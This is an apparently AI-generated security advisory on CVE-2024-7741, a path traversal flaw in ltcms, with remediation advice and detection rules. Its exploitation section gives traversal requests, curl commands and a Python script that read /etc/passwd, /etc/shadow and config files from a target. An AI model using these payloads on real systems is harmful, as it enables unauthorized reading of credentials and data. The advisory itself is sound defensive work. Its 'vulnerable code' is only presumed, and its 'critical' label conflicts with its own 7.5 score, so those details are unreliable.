CVE-2024-7741

Executive Summary

CVE-2024-7741 is a critical path traversal vulnerability discovered in wanglongcn ltcms version 1.0.20. The flaw resides in the /api/file/downloadfile API endpoint, where the file parameter is not properly sanitized, allowing an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The vendor has not responded to disclosure attempts, and no official patch exists. Public exploit code has been released, increasing the risk of active exploitation. This vulnerability is classified as critical due to the ease of exploitation and potential for sensitive data exposure.

Supply Chain & Package Security

This vulnerability affects a PHP-based CMS (ltcms) distributed by wanglongcn. While not a standard package manager ecosystem (NPM, PyPI, etc.), the risk extends to any organization using this software. The lack of vendor response and patch means all deployments are vulnerable. Organizations should treat this as a supply chain risk and consider replacing the software.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. The primary impact is unauthorized file disclosure, which can lead to leakage of configuration files, credentials, and sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the downloadFile function within /api/file/downloadfile. The application takes a file parameter from the HTTP request and uses it to construct a file path for download. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../) to escape the intended download directory and read arbitrary files on the server.

Root Cause: The application fails to sanitize or validate the file parameter, allowing directory traversal characters. The code likely concatenates the user input directly with a base path without checking for ../ sequences.

Attack Vector: An unauthenticated attacker sends a crafted HTTP GET request to the vulnerable endpoint with a malicious file parameter.

Example Request:

GET /api/file/downloadfile?file=../../../../etc/passwd HTTP/1.1
Host: target.com

Impact: Successful exploitation allows reading any file the web server process has access to, including:

• /etc/passwd (user enumeration)
• Application configuration files (database credentials, API keys)
• Source code
• Other sensitive data

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be similar to:

Vulnerable Code (PHP):

<?php
function downloadFile() {
    $file = $_GET['file'];
    $basePath = '/var/www/uploads/';
    $fullPath = $basePath . $file;
    if (file_exists($fullPath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($fullPath) . '"');
        readfile($fullPath);
    }
}
?>

Patched Code (Hypothetical):

<?php
function downloadFile() {
    $file = basename($_GET['file']); // Remove path components
    $basePath = '/var/www/uploads/';
    $fullPath = realpath($basePath . $file);
    // Ensure the resolved path is within the base directory
    if (strpos($fullPath, realpath($basePath)) === 0 && file_exists($fullPath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($fullPath) . '"');
        readfile($fullPath);
    }
}
?>

The patched version uses basename() to strip directory components and realpath() to resolve the full path, then verifies it starts with the intended base directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy ltcms 1.0.20 on a local server (e.g., using Docker or a LAMP stack).
2. Ensure the /api/file/downloadfile endpoint is accessible.

Exploitation Steps:

1. Identify the target running ltcms.
2. Send a crafted request to read sensitive files:

   curl "http://target.com/api/file/downloadfile?file=../../../../etc/passwd"
   

3. For Windows targets, try:

   curl "http://target.com/api/file/downloadfile?file=..\..\..\..\windows\win.ini"
   

4. Automate with a script:

   import requests
   target = "http://target.com"
   payloads = [
       "../../../../etc/passwd",
       "../../../../etc/shadow",
       "../../../../var/www/html/config.php"
   ]
   for payload in payloads:
       r = requests.get(f"{target}/api/file/downloadfile?file={payload}")
       if r.status_code == 200 and len(r.text) > 0:
           print(f"[+] Success: {payload}")
           print(r.text[:500])
   

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests containing ../ or ..\\ in the file parameter.
• Alert on requests to /api/file/downloadfile with suspicious patterns.
• Use the detection rules provided below.

Response:

1. Immediately isolate affected systems.
2. Review logs for indicators of compromise.
3. If possible, implement a WAF rule to block path traversal patterns.
4. Consider replacing ltcms with a supported alternative.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/file/downloadfile with file parameter containing ../ or ..\\
• Outbound connections from the server to unknown IPs (if data exfiltration occurs)

File System IOCs:

• Unexpected files in the web root (e.g., /tmp/exploit.sh)
• Modified access logs showing path traversal attempts

Log IOCs:

• Apache/Nginx access logs with entries like:

  GET /api/file/downloadfile?file=../../../../etc/passwd HTTP/1.1
  

• Error logs showing failed attempts to read non-existent files

Detection Engineering

YARA Rule

rule CVE_2024_7741_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-7741 in ltcms"
        author = "Valters IT"
        date = "2024-08-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7741"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/api/file/downloadfile"
    condition:
        $endpoint and (#traversal1 > 0 or #traversal2 > 0)
}

Sigma Rule

title: CVE-2024-7741 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against ltcms /api/file/downloadfile endpoint
author: Valters IT
date: 2024/08/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - '/api/file/downloadfile?file='
        cs-uri-query|contains|all:
            - '..'
            - '/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7741 Path Traversal Attempt"; flow:to_server,established; content:"/api/file/downloadfile"; http_uri; content:"file="; http_uri; pcre:"/file=.*\.\.[\/\\]/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable the endpoint: If possible, remove or disable the /api/file/downloadfile endpoint until a patch is available.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal sequences (../, ..\\) in the file parameter.
3. Input Validation: Implement server-side validation to reject any file parameter containing .. or starting with /.
4. Least Privilege: Ensure the web server runs with minimal file system permissions to limit the impact of successful exploitation.

Long-term Remediation:

1. Vendor Patch: Monitor for an official patch from wanglongcn. If none is forthcoming, consider migrating to a different CMS.
2. Code Review: If you have access to the source code, implement proper path sanitization using functions like realpath() and basename().
3. Replace Software: Given the vendor's lack of response, strongly consider replacing ltcms with a supported alternative.

Detection:

• Implement the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for web server access and monitor for suspicious patterns.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.